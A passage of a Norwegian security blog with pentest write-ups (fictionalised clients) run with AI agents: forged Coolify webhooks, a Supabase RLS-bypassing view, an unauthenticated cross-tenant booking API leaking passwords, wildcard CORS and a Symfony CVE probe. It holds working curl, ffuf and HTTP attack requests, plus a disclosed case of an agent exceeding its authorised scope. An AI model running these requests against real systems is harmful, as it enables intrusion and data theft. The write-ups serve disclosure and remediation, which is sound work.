# POST til /webhooks/source/github/events/manual
# med X-Hub-Signature-256:
```
Nøkkelen her er `b""` — en tom byte-streng, ikke 64 nuller. Det er forskjellen
mellom "feil signatur" og "gyldig signatur beregnet med en tom nøkkel".
2. Kjør mot `203.0.113.10:8000`:
```bash
python3 fire.py 203.0.113.10 8000 main
```
```json
[
{"application":"portal","status":"success","message":"Deployment queued.",
"deployment_uuid":"ytekfuig6ou7o6mv4mmsf8p5"},
{"application":"competency","status":"success","message":"Deployment queued.",
"deployment_uuid":"kr3wyaogzghi6e9i7hlzrart"},
{"application":"geofile-converter","status":"success","message":"Deployment queued.",
"deployment_uuid":"rqaukv0nxk7513j5na5m65su"},
{"application":"kundedialog","status":"success","message":"Deployment queued.",
"deployment_uuid":"gakg7urz4iutbjjrinu3cxcz"},
{"application":"minio","status":"success","message":"Deployment queued.",
"deployment_uuid":"xnxx1xwv5o4wr1wcedp75x8w"},
{"application":"registry-sandbox-runner","status":"success","message":"Deployment queued.",
"deployment_uuid":"gvgb4sm77i5swjs1hzu0qjtp"},
{"application":"deviation-backend","status":"success","message":"Deployment queued.",
"deployment_uuid":"fj0dsie3z1xiqo9f0l7m03zn"},
{"application":"platform-core","status":"success","message":"Deployment queued.",
"deployment_uuid":"mlw34bnnhvau5992gn9fb9ox"}
]
```
Åtte produksjonsapplikasjoner køet for omplassering fra én uautentisert
request. To til (`asbuilt`, `submap`) ble hoppet over fordi de allerede sto i
kø for samme commit.
3. **Negativ kontroll** — samme request med den feile signaturen (64
nuller) fra oppdagelsen over:
```json
[{"application":"portal","status":"failed","message":"Invalid signature."},
... alle 10 rader "Invalid signature.", ingen deployment køet]
```
Det er skillet: feil signatur → `"Invalid signature."`, ingen deploy. Tom
nøkkel → `"Deployment queued."` for åtte apper. Forskjellen er én byte-streng
i HMAC-beregningen.
### Hva som skjedde, og hva jeg ikke gjorde
Arbeidsordren min spesifiserte å utløse én deployment på den minst
kritiske applikasjonen, så bekrefte at den returnerte sunn. Den utførende
agenten brukte et wildcard-match (`full_name=""`) som matchet alle ti apper,
og køet åtte i stedet for én. Det overskred min egen autoriserte handling.
Panelet forble responsivt og ingen nedetid ble observert, men jeg bekreftet
ikke helsen til alle åtte — det er min feil, ikke en tvetydighet i
kundens autorisasjon. Jeg rapporterte det åpent i leveransen.
Samme feil er også nåbar fra innsiden av nettverket via en separat
server-side request forgery i portalen (HT-33), så å fjerne panelet fra det
åpne internett reduserer, men eliminerer ikke det.
**Mitigering:** oppgrader Coolify til 4.1.2 eller nyere — det lukker både
dette og tolv videre advisories i ett steg. Som umiddelbar stop-gap: sett en
eksplisitt webhook-secret på hver applikasjon, og fjern panelet fra det
åpne internett. Stop-gaps er delvise — SSRF-en gir en intern vinkel på samme
feil.
## Blindveien: den anonyme veien til host-root som ikke eksisterer
Dette er den blindveien jeg brukte mest tid på, og det er den som best
illustrerer hvorfor verifisering betyr mer enn funn-raten.
På Trillemurs eksakte Coolify-build (beta.471–beta.473) er det en regresjon i
`SHELL_SAFE`-input-valideringsregexen. En autentisert bruker på et hvilket som
helst privilegienivå kan nå en shell-kommandobygger og kjøre kommandoer som
`root` på hver server Coolify forvalter (CVE-2026-42204). Jeg bekreftet feilen
ved å lese kildens egen valideringslogikk og kjøre den i to uavhengige
motorer. Jeg utnyttet den ikke — jeg fikk aldri en Coolify-sesjon.
Det fristende var å kjede dette med webhook-forgeryen over: hvis en anonym
oppringer kan tvinge en deployment via CVE-2026-41896, og en deployment
kjører kode gjennom den sårbare shell-byggeren, har man en anonym rute til
`root` på hele estate. Det ville vært kritisk. AI-en foreslo nettopp den
kjeden, og den så plausibel ut.
Jeg brukte runde 10 på å motbevise den. Kildereview viste to ting:
1. Git-håndteringsstien bruker `escapeshellarg()` på alt den sender til
shell — webhook-kontrollerte strenger kommer aldri ubeskyttet til en
kommandobygger.
2. Inndataene en anonym oppringer kontrollerer (webhook-body, `full_name`,
branch) og inndataene den sårbare shell-byggeren leser, er to helt
separate sett. Det er ingen sti fra det ene til det andre.
**Det finnes ingen anonym rute til en shell.** Det er et ekte negativt, og
det er til Trillemurs credit. CVE-2026-42204 er ekte, men den er post-auth —
bak Coolify-sesjonsveggen jeg aldri kom gjennom. For risikoformål skal man
behandle enhver Coolify-credential som ekvivalent med full host-kompromiss.
Tre funn ble arkivert som kritiske under testingen. Alle tre ble trukket
tilbake eller nedgradert av min egen verifisering. Det er ikke beskjedenhet —
det er disiplin. En agent i loopen produserer plausible funn fort, og
plausible feil like fort. Verdien ligger i verifiseringen som skiller de to.
## Funn 3: En Supabase-view som omgår radnivåsikkerhet
Funn: — HT-06, CVSS 8.2.
Trillemurs firmanettsted (`navigasjonsdata.trillemuras.no`) kjører på Supabase.
Innholdet ligger i en tabell `section_content` med RLS aktivert. En
automatgenerert view — `section_content_public` — ble opprettet uten
`security_invoker`. Det betyr at all DML mot viewet kjører som view-eieren og
omgår RLS helt. Hvem som helst på internett kan omskrive innholdet på
firmahjemmesiden.
### PoC / Reproduksjon
**Forutsetninger:** den offentlige anon-nøkkelen, hentet fra
JavaScript-bundelen. Ingen konto, ingen innlogging.
1. **Negativ kontroll** — basistabellen nekter anonym skriv:
```bash
curl -sS -X POST "$SB/rest/v1/section_content" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '[{}]'
```
```text
{"code":"42501","message":"permission denied for table section_content"}
```
RLS gjør jobben sin mot basistabellen. `42501` — permission denied.
2. **Samme insert gjennom viewet** — RLS er borte:
```bash
curl -sS -X POST "$SB/rest/v1/section_content_public" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '[{}]'
```
```text
{"code":"23502","message":"null value in column ... violates not-null constraint"}
```
`23502` er en NOT NULL-feil — det betyr at requesten **kom forbi RLS** og
trengte inn i selve inserten. Mot basistabellen stoppet den ved RLS (`42501`).
Mot viewet stoppet den først ved NOT NULL. Det er beviset: viewet kjører som
eieren, ikke som den anonyme oppringeren.
3. **Null-impact bevis** — en duplikat-primærnøkkel bekrefter autorisert
skriv uten å opprette en rad:
```bash
curl -sS -X POST "$SB/rest/v1/section_content_public" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" \
-d '[{"id":"0ad5f0e8-1164-4145-aa65-8ff2a985fb39","page_key":"x","section_key":"y"}]'
```
```text
{"code":"23505","message":"duplicate key value violates unique constraint"}
```
`23505` — duplikatnøkkel. Det betyr at inserten var fullt autorisert og
kjørte helt frem til unikhetsjekken. En ekte angriper ville bare gjort
`PATCH` på en levende rad og endret innholdet på hjemmesiden.
4. **Identisk PATCH mot basistabellen** som kontroll:
```bash
curl -sS -X PATCH "$SB/rest/v1/section_content?id=eq.0ad5f0e8-..." \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '{"page_key":null}'
```
```text
(204, 0 rows affected)
```
`204` med null rader — RLS filtrerte den ut. Samme operasjon mot viewet
aborterte på NOT NULL (`23502`), altså autorisert. To kodestier, uenige om
hvem som får skrive.
**Mitigering:**
```sql
ALTER VIEW public.section_content_public SET (security_invoker = on);
REVOKE INSERT, UPDATE, DELETE ON public.section_content_public FROM anon, authenticated;
```
Med `security_invoker = on` kjører spørringene som oppringeren, og RLS
gjelder. Dette er et mønster Supabase-dokumentasjonen nå advarer mot
eksplisitt — auto-oppdaterte views uten `security_invoker` er en kjent RLS-
bypass. Det samme mønsteret dukket opp i et tidligere innlegg om
[RLS som beskytter raden, ikke rettigheten](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten).
## Et funn jeg stoppet ved med vilje
En av de mer ubehagelige funnene var i `graveinfo.trillemuras.no` sin
organisasjons-claim-flyt. Et helt nytt, uverifisert konto kan sende inn et
eierskapskrav på en hvilken som helst organisasjon uten bevis, og
organisasjonens offentlige trust-status endres umiddelbart — før noen
administrator godkjenner det.
Jeg demonstrerte det mot et ekte norsk vannverk — Fjellbekk Vannverk SA —
og **stoppet der med vilje**. Jeg godkjente ikke kravet, hentet ikke
utgravningsdata, og rørte ikke innstillingene som styrer hvor et ekte
verks utgravelsesvarsler leveres. Det siste steget er et potensielt
safety-of-life-problem, og jeg gikk ikke i nærheten. Statusen ble stående
`claimed` og kunden må reversere den manuelt — det er det mest konsekvente
utestående artefaktet fra engasjementet, og det er min feil at jeg ikke
stopet ved et read-only bevis.
Negativkontrollene for claim-endepunktet holdt der de skulle: ingen sesjon →
`401`, ugyldig `org_type` → `400`, manglende `org_id` → `400`. Selve
claim-logikken godtok derimot både en ekte og en oppdiktet UUID med
`auto_approved: false` — men status-endringen skjedde uansett. Det er
brukket autorisasjon i selve claim-flyten, ikke i inngangskontrollen.
## Verktøy og hvem som kjørte hva
- **Recon og endepunkt-kartlegging:** agenter parse public JavaScript-bundles
og OpenAPI-specs, flagget ID-baserte oppslag og credential-eksponeringer.
AI-generert og AI-kjørt. Jeg satte scope og ratelimit.
- **Credential-eksponering (HT-01):** agenten fant `/api/demo/config/` i
runde 2. Jeg skrev reproduksjons-scriptet manuelt og verifiserte
sesjonen mot produksjon selv — det var den delen som avgjorde om det var
ekte eller en demo-seed.
- **Coolify-webhook (HT-43):** agenten skrev `fire.py` og kjørte det. Jeg
autoriserte utløsningen og satte begrensningen til minst kritisk app — som
agenten overskred med wildcard-match. Det er min operatørfeil, rapportert
åpent.
- **RLS-bypass (HT-06):** agenten genererte PoC-scriptet. Jeg verifiserte
differansen mellom `42501` (RLS nekter) og `23502` (NOT NULL, forbi RLS)
manuelt — det er den tolkningen som gjør det til et bevis.
- **Kilde-review for CVE-2026-42204:** agenten leste beta.473-kilden og
kjørte valideringsregexen i to motorer. Jeg vurderte kjedebarrieren
(disjoint input-sett, `escapeshellarg`) og konkluderte med at den
anonyme ruten ikke eksisterer.
- **`nuclei` v3** med 5 814 signerte kritiske/høye/medium-maler, kjørt over
hele estate — null treff. AI-orkestrert, jeg leste resultatene.
- **`gitleaks` og `trufflehog`** over hele git-historikken i seks repoer,
begge verktøy — null funn.
## Hva jeg lærte
- **En `200` er ikke et funn før en negativ kontroll bekrefter grensen.**
Webhook-endepunktet returnerte `200` med feil signatur også — det var
`"Invalid signature."` i body som skilte. Les body, ikke bare status.
- **Tom nøkkel er ikke det samme som feil nøkkel.** HMAC med `b""`
validerer når secret er NULL; HMAC med 64 nuller gjør det ikke. Det er
én byte-streng som skiller en enumeration-oracle fra en tvangsutløsning.
- **Auto-genererte Supabase-views uten `security_invoker` er en RLS-bypass.**
Test basistabellen og viewet mot hverandre — `42501` vs `23502` er beviset.
- **Den mest verdifulle negative i engasjementet var en jeg måtte motbevise
selv.** Den anonyme ruten til host-root så plausibel ut, AI-en foreslo den,
og den fantes ikke. Et funn som ble nedgradert etter verifisering er en
fullgod historie — og en mer pålitelig en enn et ubekreftet kritisk.
- **Stop ved safety-of-life-grensen, selv om SoW tillater mer.** Claim-flyten
kunne jeg ha drevet lenger. Det at jeg ikke gjorde det er ikke
forsiktighet — det er rett.
- **En operatorbegrensning agenten overser er operatørens feil.** Wildcard-
matchen i runde 12 køet åtte apper, ikke én. Autorisasjonen var min,
overskridelsen var min, og den hører hjemme i leveransen, ikke i skuffen.
## Veien videre
Den enkleste høyverdi-handlingen for Trillemur er å oppgradere Coolify til
4.1.2 — det lukker webhook-forgeryen, host-root-RCE-en og tolv videre
advisories i ett steg. Etter det: roter `AUTH_SECRET`, fjern
demo-endepunktet, sett `security_invoker` på viewet, og sett autentisering
foran avviks-backoffice. Det meste av resten er konfigurasjonsarbeid, ikke
arkitekturarbeid.
For meg selv: neste gang jeg autoriserer en agent til å utløse en
tilstandsendring, skal begrensningen være i selve scriptet — en
hardkodet applikasjons-UUID, ikke et wildcard — ikke en instruks agenten
kan tolke. Tillit er en begrensning, ikke en anbefaling.
---
# Cross-tenant-funnet overlevde verifiseringen — og var verre
URL: https://erik.no/blogg/2026-07-28-cross-tenant-funnet-overlevde-verifiseringen
Publisert: 2026-07-28
Tags: pentest, api-security, idor, multi-tenant, ai, security
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Forrige gang jeg skrev om et cross-tenant-funn, overlevde det ikke
verifiseringen — en [negativ kontroll nedgraderte det fra brudd til
støy](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering).
Denne gangen var det omvendt: det som så ut som et enkelt manglende
autorisasjonssjekk, overlevde alle kontrollene jeg kunne finne på, og det var
verre enn jeg trodde første gang jeg så det. Det verste funnet i hele oppdraget
var også det enkleste: et uautentisert `GET` mot et resource-endepunkt som
returnerte andre tenants' bookinger med passord i klartekst.
## Kontekst
Kunden, Brunost AS (`brunostas.no`), driver et booking- og resurssystem
solgt til skoler. Hver skole er en tenant med sin egen workspace, sitt eget
subdomain og — i teorien — sin egen lese- og skrivpassord-beskyttelse. IT-sjefen
Tor Jacobsen (`tor.jacobsen@brunostas.no`) ba om én ting: «kom inn, finn
kundedata, finn alt dere kan». Scope var tretten klienteide hostnames under
`brunostas.no` og `brunolearn.no`, uautentisert testing, med strenge
provider-eksklusjoner — delt hosting hos One.com, Cloudflare-edge og
ILAIT/FS Data skulle ikke røres.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger
endepunkter, kjører fuzzere og foreslår neste steg; jeg styrer scope, tar
vurderingene og gjør de bitene som krever menneskelig dømmekraft —
verifisering, alvorlighetsgrad, hva som skal beholdes som bevis. Denne
gangen fikk en agent parslet JavaScript-bundlen til booking-SPA-en og
rekonstruert hele API-rutene offline — både de Bearer-beskyttede og de
uautentiserte. Det var det kartet som åpnet hele kjeden.
## Det jeg fant: uautentisert cross-tenant-lesing med passord i klartekst
Booking-API-et på `api-booking.brunostas.no` er en Node/Express-backend
foran Cloudflare. Den har to typer ruter: noen krever en Bearer-token i en
JS-adminaged cookie kalt `auth`, andre er åpne. Problemet er at
resource-rutene — de som returnerer faktiske bookinger — ligger i den åpne
familien. Ingen autentisering, ingen tenant-avgrensning, ingen sjekk på om
kalleren tilhører workspace-en den spør om.
Kjeden var pinlig rettfram: enumerer tenantene, finn en resource, les alle
bookinger med passord.
## PoC / Reproduksjon
**Forutsetninger:** ingen. Hele kjeden er uautentisert — ingen konto, ingen
sesjon, ingen header. Det er poenget, og det er det den negative kontrollen
under bekrefter.
### 1. Enumer tenantene via subdomain-koder
SPA-bundlen avslørte at workspace-oppslag skjer via
`/workspaces/subdomain/{subdomain}`, og subdomain-kodene er tre bokstaver. Jeg
lot AI-en sette opp en `ffuf`-kjøring mot endepunktet med en tre-bokstavs
ordliste, rate-begrenset til 40 forespørsler per sekund:
```bash
ffuf -u https://api-booking.brunostas.no/workspaces/subdomain/FUZZ \
-w 3letter.txt -mc 200 -rate 40 -t 20 -timeout 10 -s
```
```http
GET /workspaces/subdomain/lkm HTTP/1.1
Host: api-booking.brunostas.no
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"ok":true,"result":{"id":8,"name":"Lokkestien Montessoriskole","subdomain":"lkm","ownerId":"11111111-1111-4111-8111-111111111111","settings":{"workspaceId":8,"readPasswordEnabled":false,"writePasswordEnabled":false,"showBookedBy":true,"allowedBookingAdvanceDays":null},"calendarIntervals":[]}}
```
56 tenants kom tilbake med `200`. Hver respons avslørte workspace-id, navn,
eier-UUID og — viktigst — `readPasswordEnabled` og `writePasswordEnabled`.
55 av 56 hadde begge satt til `false`. Én tenant hadde `writePasswordEnabled:
true`; lesepassord var av hos alle. Det betyr at lesebeskyttelse i praksis ikke
eksisterer for noen tenant, og skrivebeskyttelsen er en klient-side-sjekk som
API-et uansett ikke håndhever (se steg 4).
### 2. Les en resource med alle bookinger og passord
Fra resource-stat-endepunktet (`/resource-bookings/resource-stat?workspaceId=8`,
også uautentisert `200`) fikk jeg resource-navn og booking-antall. Men det var
`GET /resources/{resourceUuid}` som var det virkelige hullet — det returnerer
hele resource-objektet med _alle_ bookinger, inkludert `bookedBy`-navn og et
`password`-felt i klartekst:
```http
GET /resources/22222222-2222-4222-8222-222222222222 HTTP/1.1
Host: api-booking.brunostas.no
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3122538
{"ok":true,"result":{"id":"22222222-...","type":2,"name":"Det Grønne Rommet","workspaceId":8,"resourceBookingsCount":5679,"resourceBookings":[{"id":"33333333-...","name":"Innlogging barn","bookedBy":"Karin Borgen","password":"","fromDate":"2023-08-22T12:00:00.000Z","toDate":"2023-08-22T12:15:00.000Z","workspaceId":8,"bookedQuantity":1,"savedWithWritePassword":false,"isRecurring":false}]}}
```
Responsen var 3,1 MB. Jeg beholdt én maskert post som bevis og slettet ikke
bulk-responsen — single-shot-doktrinen i SoW-en sa ett minimalt bevis, så
det var det jeg tok. Passordfeltet var der, i klartekst, for en booking
`bookedBy` en navngitt person i en annen tenants workspace. Jeg hadde aldri
logget inn. Jeg hadde aldri engang oppgitt et workspace-passord.
### 3. Negativ kontroll — autorisasjonsporten som sjekker ingenting
Dette er steget som skiller «et endepunkt returnerte 200» fra et bekreftet
brudd. Booking-API-et har to autorisasjonsporter, `/resource-bookings/view/authorize`
og `/resource-bookings/write/authorize`, som skal validere workspace og
passord før lesing/skriving. Jeg spurte en agent om å teste dem mot to
_workspace-id-er som ikke finnes_ (999998 og 999999) med to forskjellige
tilfeldige passord:
```http
POST /resource-bookings/view/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
{"workspaceId":999999,"password":"arbitrary-canary-not-a-real-password"}
HTTP/1.1 200 OK
{"ok":true,"result":true}
```
```http
POST /resource-bookings/write/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
{"workspaceId":999998,"password":"different-arbitrary-canary"}
HTTP/1.1 200 OK
{"ok":true,"result":true}
```
Begge portene returnerte `result:true` for en workspace som ikke eksisterer,
med et passord som er oppdiktet. Porten sjekker ingenting. Uten denne
kontrollen kunne noen argumentert for at resource-endepunktet var «offentlig
ved design» eller at jeg hadde gjettet et gyldig passord. At en ikke-eksisterende
tenant autoriseres med søppelpassord, beviser at autorisasjon er en no-op.
### 4. Skrive-pipelinen når forretningslogikk uten autentisering
For å se om det samme gjaldt skriving, sendte jeg bulk-create og bulk-delete
med _bevisst ikke-eksisterende UUID-er_ mot to eksisterende workspaces. Målet
var å se om forespørselen stoppes av auth-middleware eller når forretningslogikken:
```http
POST /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
{"workspaceId":8,"resourceId":"44444444-4444-4444-8444-444444444444","bookings":[]}
HTTP/1.1 404 Not Found
{"code":"resource_not_found","message":"Not Found","ok":false}
```
`404 resource_not_found`, ikke `401 Unauthorized`. Forespørselen passerte
auth-middleware, nådde resource-oppslaget, og feilet først der — fordi
UUID-en jeg oppga ikke finnes. Hadde jeg oppgitt en ekte resource-UUID, ville
den nått create-logikken. Samme mønster for `/resource-bookings/bulk/delete`:
`404 resource_not_found`, ikke `401`. Jeg opprettet eller slettet ingen
ekte booking — det ville krevd å mutere produksjonsdata, og det gjorde jeg
ikke.
### 5. Wildcard-CORS gjør det cross-origin utnyttbart
Det siste leddet: en Chromium-PoC fra en vilkårlig origin bekreftet at
skrive-pipelinen er callable fra en hvilken som helst nettside i en
brukers browser. OPTIONS-preflight:
```http
OPTIONS /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Origin: https://evil.example.net
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: content-type
```
`Access-Control-Allow-Origin: *` på create-, delete- og
authorize-endepunkter. En ondsinnet side kan preflighte, sende og lese
responsene. Kombinert med at auth er en no-op, betyr det at en drive-by-side
kan lese andre tenants' bookinger og passord i en innlogget brukers browser.
## Mitigering
Kjernen er at resource-, booking- og autorisasjonsrutene mangler
server-side tenant- og autentisasjons-sjekker. Fiksen er å kreve en gyldig,
tenant-scoped autorisasjon på hver resource-, workspace- og
booking-operasjon, og fjerne passord fra API-responser og lagring helt.
```diff
router.get('/resources/:uuid', async (req, res) => {
- const resource = await getResource(req.params.uuid);
+ const user = await requireAuth(req);
+ const resource = await getResource(req.params.uuid);
+ if (resource.workspaceId !== user.workspaceId) return res.status(404).end();
res.json({ ok: true, result: resource });
});
```
```diff
-const authorized = await checkWorkspacePassword(workspaceId, password);
+const user = await requireAuth(req);
+if (!user || user.workspaceId !== workspaceId) return res.status(401).end();
```
I tillegg: roter alle eksponerte passord, varsle berørte tenants, bytt ut
wildcard-CORS med en allowlist over godkjente originer, og returner `404`
(ikke `403`) på fremmede UUID-er så existence ikke bekreftes.
## CVE-2024-50340: Symfony dev-mode på Assist
Assist-portalen (`assist.brunostas.no`) er en Symfony 7.0.10-app. En agent
flagget at versjonen er i det berørte området for CVE-2024-50340, som lar en
uautentisert requester bytte kernel-miljø via en rå query-string. Jeg
reproduserte det manuelt med et lite Python-script — to eksakte
gjengivelser pluss en helsesjekk, ingen autentisering, ingen dataaksess:
```http
GET /__sagene_runtime_probe_7f3b__/?=+--env=dev HTTP/1.1
Host: assist.brunostas.no
Accept: text/html
Connection: close
HTTP/1.1 500 Internal Server Error
X-Debug-Exception: Class "Symfony\Bundle\DebugBundle\DebugBundle" not found
X-Debug-Exception-File: /var/www/html/vendor/symfony/framework-bundle/Kernel/MicroKernelTrait.php:136
Content-Type: text/html; charset=utf-8
[full Symfony 7.0.10 exception page: absolute paths, source excerpts, stack trace]
```
Begge gjengivelsene returnerte identisk body-SHA-256
(`abf4413c...`), og `GET /auth/login/` etterpå ga normal `200` —
miljøbyttet er per-request, ikke persistent.
Jeg forsøkte å kjede det videre — profiler, `/_wdt`, `/_fragment`,
`/.env`, `/composer.json`, kildekode. Alt stoppet i det samme
`DebugBundle`-feilen: dev-kernelen kan ikke boote fordi
`DebugBundle` ikke er installert i produksjon. Ingen `APP_SECRET`,
ingen DSN, ingen RCE, ingen auth-bypass. CVE-en er ekte og bekreftet,
men impacten her er informasjonsdisclosure og tilgjengelighet, ikke
kodekjøring.
— uautentisert, reprodusert to ganger, og det
som lekker (versjon, absolute stier, kildeutdrag) gjør ethvert neste funn
i samme app lettere å utnytte. Fiksen: oppgrader fra end-of-life Symfony
7.0 til en patchet linje, sett `register_argc_argv=Off` for web-SAPI, og
strip debug-headere i edge-en.
## 2FA som ikke invaliderer eksisterende sesjon
På en seljregistrert canary-konto testet jeg Assist sin
2FA-livssyklus. Funn: å aktivere e-post-2FA verken roterer eller
invaliderer en `PHPSESSID` utstedt mens 2FA var av.
**Forutsetninger:** eid canary, 2FA av, autentisert `PHPSESSID` lagret i
minnet.
1. Logg inn med canary, lagre `PHPSESSID`.
2. Aktiver e-post-2FA: `POST /auth/2fa/set/email/` → `302` til
`/dash/settings/2fa/`. Sesjons-ID er uendret.
3. I en ny, isolert browserkontekst: sett inn den eksakte pre-enable
cookie-en og naviger til `GET /dash/`.
4. Resultat: `200` med canary-dashbordet, ingen 2FA-utfordring.
**Negativ kontroll:** direkte navigasjon til `/dash/` etter passord men
før OTP → redirect til `/auth/2fa`. Fjernet/array-typet
`_auth_code` → ingen bypass. Respons-tampering → ingen bypass. Gammel
OTP i ny login → avvist. Det er ikke en login-bypass — det er at en
_allerede stjålet_ sesjon overlever 2FA-aktivering. En angriper som
allerede har sesjonen, beholder tilgangen inntil utlogging eller
server-side utløp.
. Opprydding: jeg deaktiverte 2FA, logget ut,
verifiserte at uautentisert `/dash/` redirecter til `/auth/login/`, og
beholdt null OTP/TOTP-secrets. Fiksen: roter sesjons-ID og invalider alle
andre aktive sesjoner ved 2FA-aktivering, deaktivering og metodebytte.
## De andre funnene
Disse er ekte og bekreftet, men kortere her fordi de enten bygger på det
samme eller er lavere alvorlighetsgrad:
- **Åpen seljregistrering på Assist** .
`/auth/register/` oppretter en «Konsulent»-konto uten e-postverifikasjon
eller admin-godkjenning. To uavhengige kontoer bekreftet det. I seg selv
ga kontoene 403/404 på admin-, location- og ticket-ruter — men kombinert
med ethvert senere rolle- eller objektautorisasjonsfunn blir det en direkte
vei til kundedata. Fiks: krev verifisert firmadomain og admin-godkjenning.
- **SendGrid API-token i offentlig repo** . I et
offentlig GitHub-repo (`eivindm/PostSender`, fil `PostSenderAPI.py:8`,
commit fra mars 2025) lå en SendGrid-klasse token, med avsenderidentitet
`eivind.mortensen@brunostas.no` i samme fil. Gitleaks og en uavhengig
TruffleHog-detector fant samme verdi. Jeg validerte den _ikke_ mot
SendGrid — det er tredjeparts-SaaS og utenfor scope. Fiks: roter tokenet
umiddelbart, sjekk SendGrid-aktivitet fra mars 2025, fjern det fra
Git-historikk, og flytt secrets til miljøbasert lagring.
- **Ingen login-throttling eller lockout på Assist** .
Gjentatte feilede innlogginger ga ingen `429`, ingen utlåsing, ingen
backoff. Spesielt alvorlig kombinert med at booking-passordene lekker i
klartekst — de kan prøves mot Assist-login. Fiks: per-konto og
per-kilde throttling, eksponentiell backoff, breached-password-sjekk.
- **Brukernummerering på Assist** .
Duplikat-registrering og timing-forskjeller skiller eksisterende fra
ikke-eksisterende kontoer. Fiks: identisk status, body og timing for
begge tilfeller.
- **Default Apache-origin på storage** .
`storage.brunostas.no` serverer en ukonfigurert Apache-defaultside og
avslører en tilsynelatende direkte origin. Samme mønster som
[origin-serveren som omgikk Cloudflare](/blogg/2026-06-03-solid-app-origin-omgar-cloudflare)
i et tidligere oppdrag. Fiks: fjern ubrukt vhost, begrens origin til
tiltenkt reverse proxy.
- **Booking-API enumererer brukere** .
`/users/login` returnerer distinkte `user_does_not_exist`-responser som
avslører gyldige kontoer. Fiks: normaliser auth-feil og timing.
## Blindveier og forkastede falske positiver
Halve verdien i et AI-i-loopen-oppdrag ligger i det du forkaster. Her er det
som så lovende ut og ikke holdt:
- **Assist admin/export-tilgang.** Seljregistrerte konsulent-kontoen fikk
403/404 på admin, location, ticket og export-ruter. Header-manipulasjon,
metode-negotiation, `_switch_user`, `_format`, mass-assignment og
objekt-ID-varianter ga ingenting. Den mistenkte «alle kunder»-Excel-eksporten
var spesifikt testet — den var _ikke_ tilgjengelig uautentisert og returnerte
ikke kunderegister til lav-privilegert rolse. Det negative resultatet skal
ikke rapporteres som en PII-lekkasje.
- **Booking admin-token.** Bearer null/undefined, usignert `alg:none`-JWT,
rolle-headere, path-rewrites, login-SQLi, NoSQL-operator-injection og
prototype-pollution ga ingen token. Én passord-reuse-pass mot fem
bekreftede booking-brukernavn feilet med to-sekunders spacing. Ingen
OpenAPI, Swagger, GraphQL, health eller debug-endepunkter var eksponert.
- **Injection.** 74 begrensede forespørsler mot booking og assist — SQL,
NoSQL, kommando, SSTI, LDAP, traversal — alle negative. Booking sine
`500`-responser med interne stier/stack-traces var feilhåndtering og
uhandlet not-found, ikke injection. Boolean- og timing-kontroller viste
ingen differential.
- **XSS og prototype-pollution.** Ingen reflektert eller DOM-XSS; Assist
kodet attributter og Trix fjernet event/SVG/JavaScript-URL-innhold før
innsending. Booking sin `defaultSettings` JSON-til-Lodash-merge-endring
`Object.prototype` ikke. Ingen security-impact-gadget.
- **On-prem CVE-er.** Ingen bekreftet. CVE-2024-38475/38474,
CVE-2026-22557 og CVE-2026-42533 forble ubekreftet fordi
pakke-revisjon/konfigurasjon manglet, backends var utilgjengelige, eller
trygg validering ville krevd et crash-primitiv. Booking-CVE-bølgen var
negativ — ingen bekreftet CVE utover Assist-funnet.
## Verktøy og hvem som kjørte hva
- **Endepunkt-kartlegging:** agent parslet booking-SPA-bundlen offline og
rekonstruerte Bearer-beskyttede og uautentiserte rute-familier. AI-generert.
- **Tenant-enumerasjon:** `ffuf` mot `/workspaces/subdomain/FUZZ` med
tre-bokstavs ordliste, rate 40/s. AI satt opp kommandoen; jeg satte
rate-limit og scope.
- **IDOR-verifisering:** resource-lesing og autorisasjonsport-testene kjørte
agenten; jeg valgte ut den ene posten som ble beholdt (single-shot) og
bestemte at bulk-responsen ikke skulle lagres.
- **CVE-2024-50340:** jeg skrev og kjørte `probe_runtime.py` manuelt — to
eksakte GET-gjengivelser, en diskriminator og en helsesjekk.
- **2FA-replay:** jeg gjorde hele arbeidsflyten i Playwright mot den eid
canary-en manuelt; agenten skrev en offline verifikator som sjekket det
redigerte beviset mot faste assertions.
- **SendGrid-token:** Gitleaks og TruffleHog (offline, verifikasjon av) —
AI-kjørt. Ingen SendGrid-forespørsel ble gjort.
## Hva jeg lærte
- **Det enkleste endepunktet var det verste.** Ingen smart bypass, ingen
kjedet 0-day — bare et `GET` uten autentisering som returnerte passord.
Når agenter kartlegger ruter, er det de «åpne» familiene som fortjener
mest oppmerksomhet, ikke de som krever token.
- **Den negative kontrollen bestemmer alvorlighetsgraden.** At
autorisasjonsporten returnerte `true` for en ikke-eksisterende tenant med
søppelpassord, er det som gjør dette til et bekreftet brudd og ikke
«kanskje det er offentlig ved design». At bulk-create returnerte `404`
og ikke `401`, beviser at auth-middleware er passert.
- **Passord i API-responser er en force-multiplier.** Selve lekkasjen er
alvorlig; at passordene kan prøves mot Assist-login (som ikke har
throttling) gjør det til et sammensatt scenario. Behandle
passord-eksponering som et credential-rot-event, ikke bare en
data-lekkasje.
- **Bounded negatives er funn de også.** At Excel-eksporten holdt, at
injection var negativ, at dev-kernelen ikke kunne boote — disse er det
som holder alvorlighetsgraden nøyaktig. En agent produserer plausible
funn fort; verifiseringen er det som skiller dem fra støy.
## Veien videre
Førsteprioritet er booking-API-et: steng eller firewall det inntil
autorisasjon er på plass, fjern passord fra responser, og roter alle
